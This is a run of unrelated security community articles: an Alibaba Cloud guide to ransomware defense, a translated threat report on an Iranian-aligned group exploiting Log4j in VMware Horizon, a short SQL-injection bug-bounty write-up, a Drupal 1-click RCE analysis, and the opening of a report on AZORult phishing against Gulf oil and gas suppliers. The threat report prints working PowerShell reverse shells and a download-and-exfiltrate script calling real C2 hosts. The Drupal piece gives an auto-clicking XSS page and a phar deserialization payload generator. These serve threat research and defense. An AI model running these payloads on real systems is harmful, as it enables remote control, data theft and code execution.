当前国内外诸多研究机构已经专门针对勒索软件的现状、趋势，并做了详细的信息收集和分析研究，微软还专门针对勒索软件在其安全中心开辟了专栏版块，从所有的机构数据来看，勒索软件卷土重来的趋势愈演愈烈，本文将重点讨论如何保护企业，帮助他们更好地应对这种威胁。
一、什么是勒索软件？
Ransomware（勒索软件）是通过网络勒索金钱的常用方法，它是一种网络攻击行为，可以立即锁定目标用户的文件、应用程序、数据库信息和业务系统相关的重要信息，直到受害者支付赎金才能通过攻击者提供的秘钥恢复访问。说直白一点，有点像大家的iPhone突然间“被挂失”了，然后攻击者打来电话索要赎金，然后才帮你解锁。而勒索软件攻击的这个“iPhone”，则是系统、服务器。
勒索软件专门以用户文件为攻击目标，同时会避免破坏系统文件。其中的原因是，这一方面可以确保用户会收到相关的通知，以告知他们的文件所遭到的攻击，另一方面，用户也能够通过一定的方法支付赎金以取回他们的文件。对文件进行加密后，此类恶意软件通常会自我删除，并留下某种形式的文档
——
这个文档会指示受害者如何支付赎金，并重新获得对加密文件的访问权限。某些“变体”还会向受害者设定支付时限，并威胁如果在此时限之前未收到付款，则将删除密钥/解密工具，否则则会增加赎金的价格。
勒索软件的发送方式通常包括：漏洞攻击包、水坑式攻击、恶意广告，或者大规模的网络钓鱼活动。一旦发送成功，勒索软件一般通过某种嵌入式文件扩展名列表来识别用户文件和数据。勒索软件还会通过编程，避免影响某些系统目录（例如
Windows 系统目录或某些程序文件目录），以确保负载运行结束后，系统仍然保持稳定，以使客户能够支付赎金。
翻译：锁定和加密您的数据和彻底改变文件后缀名，并留下联系方式
图1.大部分加密文件可以锁定目前主流的文件格式类型
图2.尝试使用国内某解密工具解密数据无效
图3.勒索者留下的联系方式
图4.按照勒索者留下的联系方式得到赎金信息
二、受害者的故事
一组熟练的、以获取赎金为目标的攻击者，一直在收集一家大型公司的相关信息，准备对其发动攻击。机会出现了，攻击者获得了对其网络的初始访问权限。攻击者现在需要升级其授权，并确定网络中的关键目标，他们需要取得对这些目标的控制，这样一来，受害者支付赎金的可能性就会增加。
图5.常用的攻击方法
如上图所示，攻击者正在尝试利用系统中的本地功能以在目标网络里逐步渗透，同时降低被发现的风险。在许多操作系统里，攻击者可以利用很多的远程访问工具，从而在系统间逐步渗透。使用本地工具进行逐步渗透，不会向磁盘引入任何内容，并且也不会被视为异常操作，这就降低了人们发现攻击者的可能性。
三、被攻击了，然后呢？
一旦勒索软件发动攻击，并攻击成功，损失几乎是无法阻挡的。如果不支付赎金，那么恢复数据就需要很高的成本。安全和 IT
员工需要全天候进行工作，将系统恢复至运行状态，这个过程中需要支出设备、运营成本等。
如果数据恢复成本大于赎金成本，那么受害组织很有可能会付钱。 否则攻击者会“撕票”，然而这里面也可能会有支付完赎金被骗的情况发生。
图6.在客户遭到勒索软件时，此流程图可以最终决定受害者是否会支付赎金。
四、纵深防御能在关键时候帮你
正如在本文我们所描述的那样，在有经验的攻击者手里，具有自我传播功能的勒索软件将可能给企业的业务带来致命损失，或成为受害者的一场噩梦。但是，可能不代表必然。因为攻击者要逐步从外向系统内渗透，是需要受害者的安全防御层“允许”的。
就像是打仗时，士兵攻城一样。勒索软件的攻击者，会最先攻陷那些没有坚实外壳的系统，完成初始访问。当第一步攻陷行动完成，如果“城墙”内没有安全策略，威胁就会逐渐渗透到内部，以入侵重要的资产或数据，这是攻击的第二步。如果受害者还不留神，“允许”了权限升级，攻击就会最终得逞，造成无法挽回的危害。因此，我们所倡导的“纵深防御”，不仅仅是一个概念，它决定了在勒索事件等攻击场景中，企业到底是能把危机挡在门外，还是引狼入室，让恶意软件对业务造成实际损失。
那么，企业在如何一步步将威胁挡在门外呢？
1. 数据备份与恢复：备份，备份，再备份。重要的事情说三遍！
数据备份和恢复措施是发生被勒索事件挽回损失的重要工作，我们将此关键措施放在第一位。面对攻击者的赎金勒索，需要清晰的了解并考虑以下点：
· 当系统遭到彻底破坏的时候，受害组织在多大程度上能够接受数据的丢失？
· 本地备份是否可用，或者异地备份的内容是否都被删除或以其他的方式导致不可用？
· 如果本地备份介质的内容被删除或不可使用，异地的备份是否可用？ 异地备份频率如何？每周一次？每半个每月一次？每月一次？
· 是否定期验证过备份内容的有效性？数据是否可以正常使用？
· 是否数据应急恢复流程或手册？
如果给出的答案是肯定了，那么备份恢复是企业的最后一道防线，在最坏的情况下，它将是企业最后的堡垒，而企业需要建不定期地进行数据备份策略，以确保在最坏的情况有备份措施。如果企业的业务在云上，可以使用不同方式的备份方法来解决数据备份问题，以确保在发生勒索事件后，尽可能的挽回损失。
推荐工具：ECS快照功能、RDS提供的数据备份功能、使用OSS存储服务备份重要数据文件、由用户制定的数据备份策略或方案等。
1. 云上账号安全策略
云上针对租户账号提供账号登录双因素验证机制(MFA)、密码安全策略、和审计功能，企业可以方便的在自己的云上界面中启用和关闭，以确保云服务账号的安全性。
图7.阿里云账号强化策略
针对组织内部多角色场景，企业需要使用RAM服务为不同角色合理分配账号并授权，以防止在运维管理活动中，出现意外操作而导致的安全风险。
1. 阻止恶意的初始化访问
企业可以采用如下两种方式，来阻止攻击进入系统的“第一道门”：发现并修复业务系统存在的漏洞；或者拒绝点击网络钓鱼等不明恶意链接和邮件/社交工程。如果攻击者在目标网络无法轻易地建立初始访问，那么攻击者更可能转向其他较为容易进攻的目标。攻击者也希望花费尽可能少的代价来取得相应的收益。如果无法轻易地建立初始访问，这会增加他们寻找其他更容易进攻目标的可能性。
1. 搭建具有容灾能力的基础架构
高性能、具有冗余的基础架构能力是保障业务强固的基础条件，在云环境下，可以通过SLB集群的方式搭建高可用架构，当出现某一个节点发生紧急问题时，可以有效避免单点故障问题，防止业务中断的前提下，也可以防止数据丢失。在资源允许的条件下，企业或组织可以搭建同城或异地容灾备份系统，当主系统出现发生勒索事件后，可以快速切换到备份系统，从而保证业务的连续性。
推荐工具：SLB、RDS等高性能服务组合而成的容灾架构
1. 强化网络访问控制
精细化的网络管理是业务的第一道屏障。
对于大部分企业网络而言，它们的网络安全架构是“一马平川”的，在业务块之前，很少有业务分区分段。但随着业务的增长和扩容，一旦发生入侵，影响面会是全局的。在这种情况下，通过有效的安全区域划分、访问控制和准入机制可以防止或减缓渗透范围，可以阻止不必要的人员进入业务环境。
例如：可以限制ssh、RDP业务管理源地址、对数据库连接源IP进行访问控制，实现最小化访问范围，仅允许授信人员访问，并对出口网络行为实时分析和审计。具体可以从以下几个方面实施：
· 推荐使用更安全的VPC网络；
· 通过VPC和安全组划分不同安全等级的业务区域，让不同的业务处在不同的隔离空间；
· 配置入口/出口过滤防火墙策略，再次强调 -入口和出口均需进行过滤。主机彼此之间应当不能通过 SMB（139/tcp、445/tcp）
进行通信。如果设置了文件服务器，实际上就不需要进行这种通信。如果企业可以有效地禁用主机间的 SMB
通信，企业就可以防止攻击者使用“通过散列表”所进行的逐步渗透。SMB 通讯应仅限于应用分发平台，文件共享和/或域控制器。
图8.网络安全区域划分架构
推荐工具：VPC、安全组
1. 定期进行外部端口扫描
端口扫描可以用来检验企业的弱点暴露情况。如果企业有一些服务连接到互联网，需要确定哪些业务是必须要发布到互联网上，哪些是仅内部访问，当公共互联网的服务数量越少，攻击者的攻击范围就越窄，从而遭受的安全风险就越小。
1. 定期进行安全测试发现存在的安全漏洞
企业公司IT管理人员需要定期对业务软件资产进行安全漏洞探测，一旦确定有公开暴露的服务，应使用漏洞扫描工具对其进行扫描。尽快修复扫描漏洞，同时日常也应该不定期关注软件厂商发布的安全漏洞信息和补丁信息，及时做好漏洞修复管理工作。
推荐工具：安全众测产品、VPC网络、安全组策略、主机安全、可管理的安全服务(MSS)
1. 常规的系统维护工作
· 制定并遵循实施IT软件安全配置，对操作系统和软件初始化安全加固，同时并定期核查其有效性；
· 为Windows操作系统云服务器安装防病毒软件，并定期更新病毒库；
· 确保定期更新补丁；
· 确保开启日志记录功能，并集中进行管理和审计分析；
·
确保合理的分配账号、授权和审计功能，例如：为服务器、RDS数据库建立不同权限账号并启用审计功能，如果有条件，可以实施类似堡垒机、VPN等更严格的访问策略。
· 确保实施强密码策略，并定期更新维护，对于所有操作行为严格记录并审计；
· 确保对所有业务关键点进行实时监控，当发现异常时，立即介入处理。
推荐工具：主机安全产品
1. 重点关注业务代码安全
大部分安全问题由于程序员的不谨慎或无意识的情况下埋下了安全隐患，代码的安全直接影响到业务的风险，根据经验来看，代码层的安全需要程序员从一开始就需要将安全架构设计纳入到整体软件工程内，按照标准的软件开发流程，在每个环节内关联安全因素。以下是基于软件开发流程将安全管控点落实到流程中的最佳实践：
图9.SDL流程
对于一般的企业来说，需要重点关注开发人员或软件服务提供上的安全编码和安全测试结果，尤其是对开发完毕的业务代码安全要进行代码审计评估和上线后的黑盒测试（也可以不定期的进行黑盒渗透测试）。
推荐工具：安全众测产品、Web应用防火墙(WAF)、SDL标准流程
1. 建立全局的外部威胁和情报感知能力
安全是动态的对抗的过程，就跟打仗一样，在安全事件发生之前，我们要时刻了解和识别外部不同各类风险，所以做安全的思路应该从防止安全入侵这种不可能的任务转到了防止损失这一系列的关键任务上。
防范措施必不可少，但是基于预警、响应的时间差也同样关键。而实现这种快速精准的预警能力需要对外面的信息了如指掌，切记“盲人摸象”，所以建立有效的监控和感知体系是实现安全管控措施是不可少的环节，更是安全防护体系策略落地的基础条件。
推荐工具：大数据安全分析平台，云上安全威胁态势感知系统
1. 建立安全事件应急响应流程和预案
就像前面说的一样，在安全攻防动态的过程中，我们可能很难100%的防御住所有的安全事件，也就是说，我们要为可能突发的安全事件准备好应急策略，在安全事件发生后，要通过组织快速响应、标准化的应急响应流程、规范的事件处置规范来降低安全事件发生的损失。
推荐工具：可管理的安全服务(MSS)、安全事件应急响应服务（SIEM）
五、总结
从以上介绍看来，这些对抗攻击的方式并没有很高的难度。它们在企业信息安全日常实践中都是常用的安全措施。但是，大部分企业没有去做好基础防御工作，主要还是因为没有引起高度的重视，而一旦发生此类严重影响业务安全事件之后，后悔莫及。在愈来愈烈的网络安全环境中，如果企业、政府和社会各个机构没有从内心重视起来，构建和扩展深度防御，那么当威胁到来时只能是螳臂当车。
在勒索软件不断“变异”的趋势下，这种攻击行为在未来会继续不断锁定新的目标，以一种新的方式不断进化渗透，在血琳琳的诸多案例下，各企业、组织的信息管理人员需要引起重视，尤其是在当前互联网蓬勃发展的趋势下，数据对于企业的重要性越来越大时代，为我们客户保障数据安全，促进业务良性发展已然成为使命。（了解阿里云安全解决方案：<https://yundun.aliyun.com/）>
作者：正禾@阿里云安全，更多安全类文章，请访问阿里聚安全博客 | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://www.sentinelone.com/labs/log4j2-in-the-wild-iranian-aligned-threat-actor-tunnelvision-actively-exploiting-vmware-horizon/>**
## 摘要
* SentinelLabs 一直在追踪一个与伊朗结盟的攻击者，他们在中东和美国活动。
* 由于攻击者对隧道工具的严重依赖，以及它选择广泛部署这些工具的独特方式，我们把这个攻击组织称为 TunnelVision。
* 就像最近在该地区活动的其他伊朗黑客一样，TunnelVision 的活动与部署勒索软件有关，因而他们算是潜在的破坏性的攻击者。
## 概览
TunnelVision 攻击特点在于广泛利用目标地区的1-day漏洞。在我们跟踪这个攻击者的过程中，我们观察到了针对 Fortinet FortiOS
(CVE-2018-13379)、 Microsoft Exchange (ProxyShell)和最近的 Log4Shell
的广泛利用。在几乎所有这些案例中，攻击者都以一种独特的方式部署了一个隧道工具。该组织使用的最常用的部署隧道工具是快速反向代理客户机(FRPC)和
Plink。
TunnelVision 的攻击在某种程度上与黑客组织 **Phosphorus** 有关，这一点在归因部分有进一步的讨论。
在这篇文章中，我们重点介绍了我们最近从 TunnelVision 操作者那里观察到的一些活动，这些活动主要围绕利用 VMware Horizon Log4j
漏洞展开。
## VMware Horizon 利用
VMware Horizon中对Log4j的利用的特点是，VMware产品的Tomcat服务(`C:\Program Files\VMware\VMware
View\Server\bin\ws_TomcatService.exe`)产生了一个恶意进程。
TunnelVision 攻击者一直在积极地利用该漏洞来运行恶意的 PowerShell 命令、部署后门、创建后门用户、获取凭证和执行横向移动。
通常，黑客最初利用 Log4j 漏洞直接运行 PowerShell 命令，然后通过 PS 反向 shell 运行更多命令，通过 Tomcat 进程执行。
## PowerShell 命令
TunnelVision 操作者利用 VMware Horizon 中的 Log4j 漏洞来运行 PowerShell 命令，通过 webhook
将输出发送回来。在这个例子中，攻击者试图将[ngrok](https://ngrok.com/)下载到一个被感染的 VMware Horizon 服务器:
try{
(New-Object System.Net.WebClient).DownloadFile("hxxp://transfer.sh/uSeOFn/ngrok.exe","C:\\Users\Public\public.exe");
Rename-Item 'c://Users//public//new.txt' 'microsoft.exe';
$a=iex 'dir "c://Users//public//"' | Out-String;
iwr -method post -body $a https://webhook.site/{RANDOM-GUID} -UseBasicParsing;
}catch{
iwr -method post -body $Error[0] https://webhook.site/{RANDOM-GUID} -UseBasicParsing;
}
在整个活动中，我们观察到多个合法服务。如果一个环境被 TunnelVision 破坏了，那么寻找这些合法公共服务的出站连接可能会有所帮助:
* transfer.sh
* pastebin.com
* webhook.site
* ufile.io
* raw.githubusercontent.com
## 反弹 Shell # 1
$c = ""
$p = ""
$r = ""
$u = "hxxps://www.microsoft-updateserver.cf/gadfTs55sghsSSS"
$wc = New-Object System.Net.WebClient
$li = (Get-NetIPAddress -AddressFamily IPv4).IPAddress[0];
$c = "whoami"
$c = 'Write-Host " ";'+$c
$r = &(gcm *ke-e*) $c | Out-String > "c:\programdata\$env:COMPUTERNAME-$li"
$ur = $wc.UploadFile("$u/phppost.php" , "c:\programdata\$env:COMPUTERNAME-$li")
while($true)
{
$c = $wc.DownloadString("$u/$env:COMPUTERNAME-$li/123.txt")
$c = 'Write-Host " ";'+$c
if($c -ne $p)
{
$r = &(gcm *ke-e*) $c | Out-String > "c:\programdata\$env:COMPUTERNAME-$li"
$p = $c
$ur = $wc.UploadFile("$u/phppost.php" , "c:\programdata\$env:COMPUTERNAME-$li")
}
sleep 3
}
反向Shell
#1在过去被TunnelVision操作者使用(7feb4d36a33f43d7a1bb254e425ccd458d3ea921)，利用了不同的C2服务器:“hxxp://google.onedriver-srv.ml/gadfTs55sghsSSS”。这个C2在分析TunnelVision活动的几篇[文章](https://news.sophos.com/en-us/2021/11/18/new-ransomware-actor-uses-password-protected-archives-to-bypass-encryption-protection/)中被引用。
在整个活动中，攻击者利用了另一个域，`service-management[.]tk`， 用来存放恶意的有效载荷。根据 VirusTotal
的说法，这个域还用于托管一个包含自定义后门(624278ed3019a42131a3a3f6e0e2a8c8b438)的 zip
文件(d28e07d2722f771bd31c9ff90b9c64d4a188435a)。
后门植入一个额外的可执行文件(e76e9237c49e7598f2b3f94a2b52b01002f8e862)到
`%ProgramData%\Installed Packages\InteropServices.exe` 并将其注册为名为“
InteropServices”的服务。
植入的可执行文件包含上面描述的反向 shell 的模糊版本，向同一个 c2服务器(`www[.]microsoft-updateserver[.]cf`)发出信号。尽管它没有加密，但是它被去模糊化，并且以某种类似于 PowerLess
(该组使用的另一个[后门](https://www.cybereason.com/blog/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage))执行其 PowerShell
有效负载的方式执行。
## 反向 Shell # 2
$hst = "51.89.135.142";
$prt = 443;
function watcher() {;
$limit = (Get - Random - Minimum 3 - Maximum 7);
$stopWatch = New - Object - TypeName System.Diagnostics.Stopwatch;
$timeSpan = New - TimeSpan - Seconds $limit;
$stopWatch.Start();
while ((($stopWatch.Elapsed).TotalSeconds - lt $timeSpan.TotalSeconds) ) {};
$stopWatch.Stop();
};
watcher;
$arr = New - Object int[] 500;
for ($i = 0;
$i - lt 99;
$i++) {;
$arr[$i] = (Get - Random - Minimum 1 - Maximum 25);
};
if ($arr[0] - gt 0) {;
$valksdhfg = New - Object System.Net.Sockets.TCPClient($hst, $prt);
$banljsdfn = $valksdhfg.GetStream();
[byte[]]$bytes = 0..65535|% {
0
};
while (($i = $banljsdfn.Read($bytes, 0, $bytes.Length)) - ne 0) {;
$lkjnsdffaa = (New - Object - TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$nsdfgsahjxx = (&(gcm('*ke-exp*')) $lkjnsdffaa 2 > &1 | Out - String );
$nsdfgsahjxx2 = $nsdfgsahjxx + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($nsdfgsahjxx2);
$banljsdfn.Write($sendbyte, 0, $sendbyte.Length);
$banljsdfn.Flush();
watcher
};
$valksdhfg.Close();
};
我们观察到的大多数“在线”活动都是通过 PowerShell
后门执行的。它似乎是[公开](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1)的 PowerShell 一行程序的一个修改版本。
这些活动包括:
* 执行侦察命令
* 创建后门用户并将其添加到管理员组
* 使用 Procdump、 SAM 蜂窝转储和 comsvcs MiniDump 获取凭证
* 下载和执行隧道工具，包括 Plink 和 Ngrok，用于隧道 RDP 通信
* 利用 VMware Horizon NodeJS component component [[1](http://https://www.sprocketsecurity.com/blog/crossing-the-log4j-horizon-a-vulnerability-with-no-return "1"),[2](http://https://www.rapid7.com/blog/post/2022/01/18/active-exploitation-of-vmware-horizon-servers/ "2")]执行一个反向 shell。
* 内部子网RDP扫描使用一个[公开可用](http://https://github.com/InfosecMatter/Minimalistic-offensive-security-tools/blob/master/port-scan-tcp.ps1 "公开可用")的端口扫描脚本
在整个活动中，攻击者使用了一个名为“protections20”的帐户的github存储库“VmWareHorizon”。
## 归因
TunnelVision 的活动之前已经讨论过，有很多供应商对其进行跟踪署名，比如 Phosphorus (微软) ，以及令人困惑的是，竟然还有
Charming Kitten 或 Nemesis Kitten(CrowdStrike)。
这种疑惑是因为微软认为Phosphorous是一个单一的组织，但它与 CrowdStrike 区分为两个的攻击者—— Charming Kitten
和Nemesis Kitten的活动重叠。
我们以“ TunnelVision”的名称分别跟踪这个黑客组织。这并不意味着我们认为它们与上述组织无关，只是目前没有足够的数据将它们视为与上述任何一个组织。
## IoCs
**TYPE** | **INDICATOR** | **NOTES**
---|---|---
Domain | www[.]microsoft-updateserver[.]cf | Command and Control (C2) Server
Domain | www[.]service-management[.]tk | Payload server
IP |
51.89.169[.]198（[ZoomEye搜索结果](http://https://www.zoomeye.org/searchResult?q=51.89.169%5B.%5D198
"ZoomEye搜索结果")） | Command and Control (C2) Server
IP |
142.44.251[.]77（[ZoomEye搜索结果](http://https://www.zoomeye.org/searchResult?q=142.44.251%5B.%5D77
"ZoomEye搜索结果")） | Command and Control (C2) Server
IP |
51.89.135[.]142（[ZoomEye搜索结果](http://https://www.zoomeye.org/searchResult?q=51.89.135%5B.%5D142
"ZoomEye搜索结果")） | Command and Control (C2) Server
IP |
51.89.190[.]128（[ZoomEye搜索结果](http://https://www.zoomeye.org/searchResult?q=51.89.190%5B.%5D128
"ZoomEye搜索结果")） | Command and Control (C2) Server
IP |
51.89.178[.]210（[ZoomEye搜索结果](http://https://www.zoomeye.org/searchResult?q=51.89.178%5B.%5D210
"ZoomEye搜索结果")） | Command and Control (C2) Server, Tunneling Server
IP |
142.44.135[.]86（[ZoomEye搜索结果](http://https://www.zoomeye.org/searchResult?q=142.44.135%5B.%5D86
"ZoomEye搜索结果")） | Tunneling Server
IP |
182.54.217[.]2（[ZoomEye搜索结果](http://https://www.zoomeye.org/searchResult?q=182.54.217%5B.%5D2
"ZoomEye搜索结果")） | Payload Server
Github Account | https://github.com/protections20 | Account utilized to host
payloads
* * * | 社区文章 |
## 前言
最近在挖edusrc,自己摸了一天鱼才日下来的一个站点~,特有此文,记录一下.(表哥们勿喷)
### 0x01
标靶站点环境: Nginx+Java
端口开放信息:
主站就一个搜索处,按我这种菜鸡漏洞挖掘思路来看应该是没有注入的.
于是进行目录扫描
出来辣么多姨妈红~,访问install.html发现使用的是JEECMS
网上找了几个历史漏洞呀,然后都没有用,貌似是修复了.
访问member
是一个登陆点,再加上url包含Cas/login.do
想到Cas反序列化漏洞,于是检测一波
然后啥也没检测到,他mua的
### 0x02
然后扫到网站某子域名,是官网后台登陆处
阿我这激动的心~
弱口令爆破一段时间无果后,尝试注入
加单引号报错
上面两个图片可以看到
单引号双=正确
单引号单位数=错误
很明显是JSP+Oracle才会出现这种规则.
测试'and'的时候,直接返回失去响应了,很明显有Waf
这里用协议未覆盖绕过防火墙
可以看见,返回200,然后扔sqlmap
成功检测到注入,不过是盲注的话自己写脚本跑好一点(我太菜了不会~~)
## 0x03
然后由于Oracle权限问题就没拿到shell啦
注: 相关漏洞已提交至eduSrc
(有没有表哥带带我) | 社区文章 |
**Author: LoRexxar'@Knownsec 404 Team
Chinese Version: <https://paper.seebug.org/897/> **
On April 11th, 2019, ZDI Blog released a paper--[A SERIES OF UNFORTUNATE
IMAGES: DRUPAL 1-CLICK TO RCE EXPLOIT CHAIN
DETAILED](https://www.zerodayinitiative.com/blog/2019/4/11/a-series-of-unfortunate-images-drupal-1-click-to-rce-exploit-chain-detailed "A SERIES OF
UNFORTUNATE IMAGES: DRUPAL 1-CLICK TO RCE EXPLOIT CHAIN DETAILED"). What’s
ingenious is that the attacker links a wonderful utilization chain by means of
3 vulnerabilities and a few small tricks. Next let’s take a full look towards
this vulnerability.
## Write an unsuffixed file
There is a rule set in the Drupal's mechanism. The name of the picture file
uploaded by the user will be retained. If the file name is the same, it will
be followed by `_0`, `_1` in order. In order to be compatible with various
encodings, when you upload a file name, Drupal will process it accordingly,
converting it to `_` if the value of a character is less than `0x20`.
However, if there is a character ranging from `\x80` to `\xff` in the file
name, PHP will send `PREG_BAD_UTF8_ERROR`. If an error occurs, `preg_replace`
will return "NULL" and `$basename` will be set to "NULL".
When `basename` is null, the contents of the following files will be written
to a file similar to `_0`.
On that basis, it would have been uploaded:
/sites/default/files/pictures/<YYYY-MM>/
Now it will be written with:
/sites/default/files/pictures/<YYYY-MM>/_0
**When the server opens the comment avatar upload, or if it has an account
with author permission** , the attacker can upload a maliciously constructed
“gif” picture and the same picture with malicious characters, then the
contents of malicious image will be written to `_0` in the corresponding
directory.
But if we access this file directly, the file may not be parsed. The reasons
are as follows:
(1) The browser first parses the page based on the `content-type` given by the
server, which typically does not set `content-type` or `application/octet-stream` to the unsuffixed file.
(2) The browser will make a simple judgment based on the contents of the file.
If the file starts with `<html>`, some browsers will parse it into "html".
(3) Some browsers may also set a default `content-type`, but most browsers
choose not to parse the file.
At this time we need a very special trick: **tag A can be set the type(only
not for chrome)to open the file.**
When you access the page, it will be parsed into `html` and the corresponding
code is executed.
<html>
<head>
</head>
<body>
<a id='a' href="http://127.0.0.1/drupal-8.6.2/sites/default/files/2019-04/_6" type="text/html">321321</a>
<script type="text/javascript">
var a = document.getElementById('a')
a.click()
</script>
</body>
</html>
When the victim accesses the page, we can execute arbitrary "xss", which
brings great convenience for subsequent utilization, so we have an arbitrary
"js" execution point in a homologous environment.
## Phar deserialization RCE
In BlackHat 2018, Sam Thomas mentioned that there was a [Stream
API](https://secure.php.net/manual/zh/internals2.ze1.streams.php "Stream API")
in PHP(the issue: [File Operation Induced Unserialization via the “phar://”
Stream Wrapper](https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf "File
Operation Induced Unserialization via the “phar://” Stream Wrapper")), and the
corresponding pseudo protocol can be registered through registration
extension, and `phar` is registered with the stream wrapper as `phar://`.
The security researcher Seaii in Knownsec 404 Team suggests that all file
functions support stream wrapper (<https://paper.seebug.org/680/>). That is to
say, if we find a controllable file manipulation function whose parameters can
be controlled as phar file, then we can execute the command by
deserialization.
In Drupal, there is a file system function that will make a `is_dir` judgment
to the incoming address, which exists the problems.
Generate the files by using the following payload directly.
<?php
namespace GuzzleHttp\Psr7{
class FnStream{
public $_fn_close = "phpinfo";
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
}
}
namespace{
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头
$o = new \GuzzleHttp\Psr7\FnStream();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
?>
After modifying the suffix to "png", send the image to the server and set it
in the `file system`.
phar://./sites/default/files/2019-04/drupal.png
And it can be triggered.
## Vulnerability requirements
This vulnerability was fixed in the update of Drupal 8.6.6, so the
vulnerability requirement is as follows:
* <= Durpal 8.6.6
* The server opens the function of commenting with picture or the attacker has an account with author permission.
* The victim needs to access the attacker's URL.
When the above three points are satisfied at the same time, the attack chain
can be established.
## Vulnerability patch
### Write SA-CORE-2019-004 to the unsuffixed file
<https://www.drupal.org/SA-CORE-2019-004>
If the error occurs, throw it out directly and don't continue writing.
<https://github.com/drupal/drupal/commit/82307e02cf974d48335e723c93dfe343894e1a61#diff-5c54acb01b2253384cfbebdc696a60e7>
### Phar deserialization SA-CORE-2019-002
<https://www.drupal.org/SA-CORE-2019-002>
## Conclusion
It is not difficult to find that the whole vulnerability is composed of many
small and inconspicuous vulnerabilities. Drupal's deserialized POP chain has
been publicly available for a long time, and the phar vulnerability has been
out for a year. At the beginning of 2019, Drupal also updated this point, and
`preg_replace` would report and throw an error, which I don’t think it a
special feature. Combine these three vulnerabilities with a very special tag
A, set the `content-type` trick, a very wonderful vulnerability chain is thus
formed.
## About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://www.zscaler.com/blogs/research/targeted-attacks-oil-and-gas-supply-chain-industries-middle-east>**
## 前言
众所周知，网络犯罪分子会关注时事以使计划更贴切受害者的情况。这些犯罪事件不一定是全球性的，而通常是区域性的。这有助于犯罪分子缩小目标范围，提高犯罪成功几率。
因此，当Abu Dhabi 国家石油公司（ADNOC）终止
[其先前授予的工程，采购和建筑（EPC）合同的时候，](https://meed.com/adnoc-awards-dalma-gas-project-to-petrofac-and-sapura)“细心”的网络犯罪分子孕育出了另一种攻击方案。
自2020年7月以来，Zscaler ThreatLabZ团队发现针对中东石油和天然气行业多个供应链组织的攻击有所增加。
我们发现多个以电子邮件附件形式发送的恶意PDF文件被用来分发窃取信息的AZORult木马。
此博客描述了此攻击活动的详细信息，阐述了其攻击媒介，恶意软件分发策略和威胁归因。
### **分销策略**
攻击链疑似始于一封ADNOC供应链和中东政府部门官员的电子邮件。
每封电子邮件都有一个附件PDF文件。PDF的首页上包含可通往合法共享站点的链接，例如wetransfer和mega.nz（托管ZIP存档）。ZIP文件中包含一个恶意压缩包：NET可执行文件，它将解密、加载和执行嵌入式AZORult二进制文件。图1是攻击流程的图形展示。
[](https://www.zscaler.com/sites/default/files/images/blogs/oil_gas_dalma/Figure
1 - attack flow.png)
_图1：攻击流程_
**邮件分析**
图2显示了一封伪装成来自ADNOC Sour Gas实验室化学家的电子邮件。
[](https://www.zscaler.com/sites/default/files/images/blogs/oil_gas_dalma/Figure
2 _ email.png)
_图2：发送给中东供应链行业官员的虚假电子邮件。_
在所有案例中，电子邮件都是以Gmail的地址发送的。观察到的两个Gmail攻击地址是：
[[email protected]](mailto:[email protected])
[[email protected]](mailto:[email protected])
网络犯罪分子还利用了来自Tutanota的匿名电子邮件服务器来创建在keemail.me和tuta.io中注册的电子邮件，这些电子邮件也被运用在攻击活动中。
电子邮件附带的PDF文件是多页文件（共14页），似乎是有关ADNOC和Doha机场的项目供应合同和法律招标报价请求（RFQ）。诱导文件经过精心设计，看起来是合法的。每个文档的第一页包含使用嵌入式下载链接访问的说明，这些链接会导致恶意存档，如上面的攻击流程所述。
PDF中内容的示例包括：
**PDF Filename:** PI-18031 Dalma Gas Development Project (Package B) -TENDER
BULLETIN-01.pdf
**MD5 hash:** e368837a6cc3f6ec5dfae9a71203f2e2
图3显示了一个伪装成与Dalma天然气开发项目相关的合法报价请求（RFQ）。右上角带有ADNOC徽标，第一页包含恶意下载链接。
[](https://www.zscaler.com/sites/default/files/images/blogs/oil_gas_dalma/Figure
3 _ document 1.png)
_图3：与此攻击相关的PDF中包含的伪造信件_
**PDF Filename:** AJC-QA HAMAD INTERNATIONAL AIRPORT EXPANSION, DOHA.pdf
**MD5 hash:** abab000b3162ed6001ed8a11024dd21c
图4显示了一个伪装成 Hamad国际机场Doha扩建计划的报价请求，它显示来自Qatar的供应链贸易承包商。
[](https://www.zscaler.com/sites/default/files/images/blogs/oil_gas_dalma/Figure
4 - document 2.png)
_图4：当地机场扩建项目的虚假询价_
